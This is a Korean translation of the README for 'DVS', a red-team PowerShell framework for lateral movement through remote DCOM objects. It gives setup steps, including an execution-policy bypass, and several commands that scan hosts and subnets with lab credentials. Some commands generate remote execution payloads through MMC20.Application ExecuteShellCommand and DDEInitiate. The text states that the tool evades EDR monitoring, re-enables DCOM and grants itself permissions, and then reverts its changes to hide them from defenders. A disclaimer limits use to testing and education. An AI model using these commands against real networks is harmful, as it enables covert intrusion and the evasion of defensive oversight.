
D(COM) V(ulnerability) S(canner) 일명 교활한 스위스 군용 칼 - DCOM 객체를 이용한 측면 이동
내부 네트워크를 통해 측면 이동을 어떻게 할 수 있을지, 또는 EDR에 경고 없이 원격 시스템과 상호 작용하는 방법에 대해 궁금해한 적이 있나요?
유효한 자격 증명이 있거나 원격 시스템에 접근할 수 있는 활성 세션이 있지만, 알려져 있거나 예상되거나 높은 수준의 모니터링이 되는 방식(예: WMI, 작업 스케줄러, WinRM, PowerShell Remoting)으로 원격으로 프로세스를 실행할 수 없는 상황을 가정해 봅시다.
이러한 시나리오를 위해 DVS 프레임워크가 도움을 줍니다.
DVS 프레임워크는 스위스 군용 칼과 같아서 원격 DCOM 객체의 취약한 기능을 열거하고, 실행하며, 이를 사용한 공격도 수행할 수 있습니다.
이 프레임워크는 "레드 팀" 마인드셋으로 개발되었으며 은밀한 방법을 사용하여 원격 시스템을 손상시킵니다.
DVS 프레임워크는 원격으로 DCOM 액세스를 다시 활성화하고 공격 사용자에게 필요한 권한을 자동으로 부여하여 DCOM에 대한 원격 강화를 우회하는 다양한 방법을 포함합니다.
또한 프레임워크는 원격 시스템의 변경 사항을 공격 전 원래 상태로 되돌려 수비수로부터 이러한 변경을 숨길 수 있습니다.
우리의 주요 통찰력은 이 도구가 aqsome 기술을 통해 취약하지 않은 DCOM 객체를 사용하여 명령을 실행할 수도 있다는 것입니다 (아래 Invoke-RegisterRemoteSchema에 대한 내용 참조).
PowerShell 2.0 이상과 호환됨
Youtube 동영상 PoC: DVS
이 도구는 테스트 및 교육 목적으로만 제공됩니다. 이 코드의 다른 사용은 허용되지 않습니다. 사용에 따른 책임은 본인에게 있습니다.
저자는 이 도구의 오용에 대해 어떤 책임도 지지 않습니다.
이 도구를 사용함으로써 발생하는 모든 피해는 사용자의 책임임을 동의하는 것입니다.
Remote-Registry access(MS-RRP)
AutoGrant 모드가 설정된 경우 쓰기 권한을 확인합니다. 그렇지 않으면 읽기 권한을 확인합니다.Standard Registry Provider (원격 레지스트리가 거부된 경우)
StdRegProv에 접근 가능한지 확인합니다.AutoGrant 모드가 설정된 경우 쓰기 권한을 확인하고, 그렇지 않으면 읽기 권한을 확인합니다.DVS 도구는 먼저 다음 단계를 통해 주체 ID가 원격 시스템에 액세스할 수 있는지 확인합니다:
기본 작업
SkipRegAuth가 설정되지 않은 경우)
AutoGrant가 설정된 경우), 그렇지 않으면 실패합니다.adsi/WindowsIdentity 기능을 통해) DCOM과 상호 작용할 수 있는 권한이 있는지 확인합니다(원격 레지스트리 쿼리를 통해).AutoGrant가 설정된 경우), 그렇지 않으면 실패합니다.HKLM 또는 HKCU 하이브)를 사용하여 시도합니다.Invoke-DCOMObjectScan
Get-ExecutionCommand
Invoke-ExecutionCommand
Invoke-RegisterRemoteSchema
git clone https://github.com/ScorpionesLabs/DVS
powershell -ep bypass
PS> Import-Module .\DVS.psm1
PS> Get-Help Invoke-DCOMObjectScan -Detailed # Invoke-DCOMObjectScan 명령에 대한 자세한 정보
PS> Get-Help Get-ExecutionCommand -Detailed # Get-ExecutionCommand 명령에 대한 자세한 정보
PS> Get-Help Invoke-ExecutionCommand -Detailed # Invoke-ExecutionCommand 명령에 대한 자세한 정보
PS> Get-Help Invoke-RegisterRemoteSchema -Detailed # Invoke-RegisterRemoteSchema 명령에 대한 자세한 정보
Invoke-DCOMObjectScan 함수는 파일에 포함된 패턴 목록이나 정확한 함수 이름을 통해 DCOM 객체를 스캔하고 취약한 함수를 찾을 수 있게 해줍니다.
예시:
레지스트리를 쿼리하지 않고 공격자 시스템에서 DC01 호스트로 MMC20.Application (ProgID) 객체를 열거하고 스캔합니다.
Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -HostList DC01 -SkipRegAuth -Username "lab\administrator" -Password "Aa123456!" -Verbose
참고: 도구는 ACL 권한을 분석하지 않으며, 성공하면 레지스트리에 언급된 세부 정보(객체 이름, 실행 파일 등)를 제외한 객체의 모든 정보를 확인합니다.
MMC20.Application (ProgID) 객체가 공격자 시스템에서 DC01 호스트로 액세스 가능한지 확인하며, 먼저 DCOM 객체의 액세스 목록을 쿼리하고 확인하지 않습니다.
PS> Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -HostList DC01 -SkipPermissionChecks -CheckAccessOnly -Verbose
MMC20.Application (ProgID)가 10.211.55.4/24 범위를 통해 적용 가능한지 확인합니다. 존재하는 경우 도구는 해당 정보를 열거하려고 시도합니다. (현재 로그온된 사용자 세션 사용).
PS> Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -Hostlist "10.211.55.4/24" -CheckAccessOnly -Verbose
10.211.55.4 IP 주소를 통해 {00020812-0000-0000-C000-000000000046} CLSID 객체가 존재하고 액세스 가능한지 확인합니다. 존재하는 경우 도구는 해당 정보를 확인합니다. (lab\administrator 자격 증명 사용).
PS> Invoke-DCOMObjectScan -Type Single -ObjectName "{00020812-0000-0000-C000-000000000046}" -Hostlist "10.211.55.4" -CheckAccessOnly -Username "lab\administrator" -Password "Aa123456!" -Verbose
10.211.55.4 IP 주소를 통해 지정된 경로(예: C:\Users\USERNAME\Desktop\DVS\objects.txt)에 저장된 모든 객체를 스캔하고, _다음 구성_으로 lab\administrator 자격 증명을 사용하여 vulnerable.txt와 같은 지정된 파일에 있는 함수 목록을 찾습니다:
최대 깊이: 4
최대 결과: 1 (각 객체당 1개 결과)
AutoGrant 모드: 객체에 대한 액세스 권한이 없거나 DCOM 기능이 비활성화된 경우 DCOM 기능을 활성화하고 관련 DCOM 객체에 자동으로 권한을 부여합니다.
마지막으로 시스템을 공격 전과 동일한 상태로 되돌립니다.
PS> Invoke-DCOMObjectScan -MaxDepth 4 -Type List -ObjectListFile "C:\Users\USERNAME\Desktop\DVS\objects.txt" -FunctionListFile "C:\Users\USERNAME\Desktop\DVS\vulnerable.txt" -AutoGrant -Username "lab\administrator" -Password "Aa123456!" -Hostlist "10.211.55.4" -MaxResults 1 -Verbose
10.211.55.1/24 범위에서 사용 가능한 원격 시스템에 저장된 모든 객체를 스캔하고 선택한 파일(예: C:\Users\USERNAME\Desktop\DVS\vulnerable.txt)에 있는 목록에서 잠재적인 취약 함수를 찾고, 선택한 파일(예: C:\Users\USERNAME\Desktop\DVS\exclude.txt)에 있는 객체를 제외하며, 동일한 객체의 다른 경로에서 동일한 이름의 속성을 건너뜁니다.
참고: SkipSameProperyName 플래그는 동일한 속성 이름이 다른 기본 설정(메서드/기타 속성) 또는 다른 깊이 체인으로 존재하는 경우 취약 함수를 놓칠 수 있습니다.
PS> Invoke-DCOMObjectScan -MaxDepth 4 -Type All -FunctionListFile "C:\Users\USERNAME\Desktop\DVS\vulnerable.txt" -ExcludeFileList "C:\Users\USERNAME\Desktop\DVS\exclude.txt" -Hostlist "10.211.55.1/24" -SkipSameProperyName -Verbose
Get-ExecutionCommand 함수는 관련 매개변수와 함께 원격 DCOM 함수와 상호 작용하고 실행되는 PowerShell 페이로드를 생성할 수 있게 해줍니다.
lab\administrator 자격 증명을 사용하여 10.211.55.4 IP 주소를 통해 {00020812-0000-0000-C000-000000000046} CLSID 객체와 상호 작용할 수 있는 권한이 주체 ID에 있는지 확인한 다음 실행 명령을 생성합니다.
PS> Get-ExecutionCommand -ObjectName "{00020812-0000-0000-C000-000000000046}" -ObjectPath "DDEInitiate" -HostList "10.211.55.4" -Username "lab\Administrator" -Password "Aa123456!" -Verbose
DCOM 액세스를 확인합니다.
주체 ID에 필요한 권한이 없거나 DCOM 기능이 비활성화된 경우 도구는 DCOM 기능을 활성화하고 ID 액세스 권한을 부여하며 lab\administrator 자격 증명을 사용하여 10.211.55.4 IP 주소를 통해 MMC20.Application (ProgID) 객체와 상호 작용한 후 실행 명령을 생성합니다.
마지막으로 시스템을 공격 전과 동일한 상태로 되돌립니다.
PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.4" -Username "lab\Administrator" -Password "Aa123456!" -AutoGrant -Verbose